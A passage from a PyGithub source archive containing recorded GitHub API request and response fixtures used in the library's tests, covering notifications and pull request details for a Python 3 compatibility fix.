v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":926,"open_issues":71,"watchers":2692,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/1171"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/14c79c13250edd1155af42f83b76a913faf58e9d"}},"author_association":"NONE","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":1,"review_comments":0,"maintainer_can_modify":true,"commits":1,"additions":8,"deletions":4,"changed_files":3} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1168.testGetPullRequest.txt0000644000175100001660000006522714756101563025364 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/notifications?all=True {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 15 Jul 2019 17:30:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1563215419'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/""'), ('Last-Modified', 'Mon, 15 Jul 2019 11:49:00 GMT'), ('X-Poll-Interval', '60'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D06C:2C1E2:824F092:A16B125:5D2CB82B')] [{"id":"544598316","unread":false,"reason":"author","updated_at":"2019-07-15T11:49:00Z","last_read_at":"2019-07-15T17:24:25Z","subject":{"title":"Fix small issues for Python 3 compatibility.","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171","latest_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/511370638","type":"PullRequest"},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"url":"https://api.github.com/notifications/threads/544598316","subscription_url":"https://api.github.com/notifications/threads/544598316/subscription"},{"id":"541906556","unread":false,"reason":"author","updated_at":"2019-07-15T16:49:00Z","last_read_at":"2019-07-15T09:49:06Z","subject":{"title":"Code review bodies are optional in some cases.","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1169","latest_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/511480471","type":"PullRequest"},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"url":"https://api.github.com/notifications/threads/541906556","subscription_url":"https://api.github.com/notifications/threads/541906556/subscription"}] https GET api.github.com None /repos/PyGithub/PyGithub/pulls/1171 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 15 Jul 2019 17:30:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4938'), ('X-RateLimit-Reset', '1563215420'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"e1697bb04d5d6f5c8aa477cc7b41a2dc"'), ('Last-Modified', 'Mon, 15 Jul 2019 12:56:28 GMT'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D06E:17F13:5CAAB3A:72EFA8F:5D2CB82B')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171","id":297582636,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjk3NTgyNjM2","html_url":"https://github.com/PyGithub/PyGithub/pull/1171","diff_url":"https://github.com/PyGithub/PyGithub/pull/1171.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/1171.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171","number":1171,"state":"open","locked":false,"title":"Fix small issues for Python 3 compatibility.","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"body":"Still can't run tests with Python 3, but it's improving it a bit.","created_at":"2019-07-15T11:44:35Z","updated_at":"2019-07-15T12:56:28Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d6c7b974d468eed8da81155a1b6c4c9fa6c2c345","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/14c79c13250edd1155af42f83b76a913faf58e9d","head":{"label":"Ferada:small-fixes-for-python-3","ref":"small-fixes-for-python-3","sha":"14c79c13250edd1155af42f83b76a913faf58e9d","user":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"repo":{"id":196607288,"node_id":"MDEwOlJlcG9zaXRvcnkxOTY2MDcyODg=","name":"PyGithub","full_name":"Ferada/PyGithub","private":false,"owner":{"login":"Ferada","id":13713,"node_id":"MDQ6VXNlcjEzNzEz","avatar_url":"https://avatars1.githubusercontent.com/u/13713?v=4","gravatar_id":"","url":"https://api.github.com/users/Ferada","html_url":"https://github.com/Ferada","followers_url":"https://api.github.com/users/Ferada/followers","following_url":"https://api.github.com/users/Ferada/following{/other_user}","gists_url":"https://api.github.com/users/Ferada/gists{/gist_id}","starred_url":"https://api.github.com/users/Ferada/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Ferada/subscriptions","organizations_url":"https://api.github.com/users/Ferada/orgs","repos_url":"https://api.github.com/users/Ferada/repos","events_url":"https://api.github.com/users/Ferada/events{/privacy}","received_events_url":"https://api.github.com/users/Ferada/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Ferada/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/Ferada/PyGithub","forks_url":"https://api.github.com/repos/Ferada/PyGithub/forks","keys_url":"https://api.github.com/repos/Ferada/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Ferada/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Ferada/PyGithub/teams","hooks_url":"https://api.github.com/repos/Ferada/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/Ferada/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/Ferada/PyGithub/events","assignees_url":"https://api.github.com/repos/Ferada/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/Ferada/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/Ferada/PyGithub/tags","blobs_url":"https://api.github.com/repos/Ferada/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Ferada/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Ferada/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/Ferada/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Ferada/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/Ferada/PyGithub/languages","stargazers_url":"https://api.github.com/repos/Ferada/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/Ferada/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/Ferada/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/Ferada/PyGithub/subscription","commits_url":"https://api.github.com/repos/Ferada/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/Ferada/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/Ferada/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/Ferada/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/Ferada/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/Ferada/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Ferada/PyGithub/merges","archive_url":"https://api.github.com/repos/Ferada/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Ferada/PyGithub/downloads","issues_url":"https://api.github.com/repos/Ferada/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/Ferada/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/Ferada/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/Ferada/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Ferada/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/Ferada/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/Ferada/PyGithub/deployments","created_at":"2019-07-12T15:57:24Z","updated_at":"2019-07-12T15:57:30Z","pushed_at":"2019-07-15T16:46:32Z","git_url":"git://github.com/Ferada/PyGithub.git","ssh_url":"git@github.com:Ferada/PyGithub.git","clone_url":"https://github.com/Ferada/PyGithub.git","svn_url":"https://github.com/Ferada/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11951,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"PyGithub:master","ref":"master","sha":"8b6b4505b646523000db0c0a7ca15e4c04ff2abd","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2019-07-14T13:11:51Z","pushed_at":"2019-07-15T16:46:34Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11949,"stargazers_count":2692,"watchers_count":2692,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":926,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":71,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":926,"open_issues":71,"watchers":2692,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/1171"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/1171/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/1171/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/14c79c13250edd1155af42f83b76a913faf58e9d"}},"author_association":"NONE","merged":false,"mergeable":true,"rebaseable":true,"mergeable_state":"clean","merged_by":null,"comments":1,"review_comments":0,"maintainer_can_modify":true,"commits":1,"additions":8,"deletions":4,"changed_files":3} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest1169.setUp.txt0000644000175100001660000004126314756101563022632 0ustar00runnerdockerhttps GET api.github.com None /repos/coleslaw-org/coleslaw/pulls/173 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 15 Jul 2019 16:42:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1563212378'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"008b74d487f841788d500932ead14cf7"'), ('Last-Modified', 'Sun, 14 Jul 2019 20:51:11 GMT'), ('X-OAuth-Scopes', 'notifications, public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9690:402B9:60ABD6C:77A1AD7:5D2CACF5')] {"url":"https://api.github.com/repos/coleslaw-org/coleslaw/pulls/173","id":297328454,"node_id":"MDExOlB1bGxSZXF1ZXN0Mjk3MzI4NDU0","html_url":"https://github.com/coleslaw-org/coleslaw/pull/173","diff_url":"https://github.com/coleslaw-org/coleslaw/pull/173.diff","patch_url":"https://github.com/coleslaw-org/coleslaw/pull/173.patch","issue_url":"https://api.github.com/repos/coleslaw-org/coleslaw/issues/173","number":173,"state":"open","locked":false,"title":"Add mailing list from 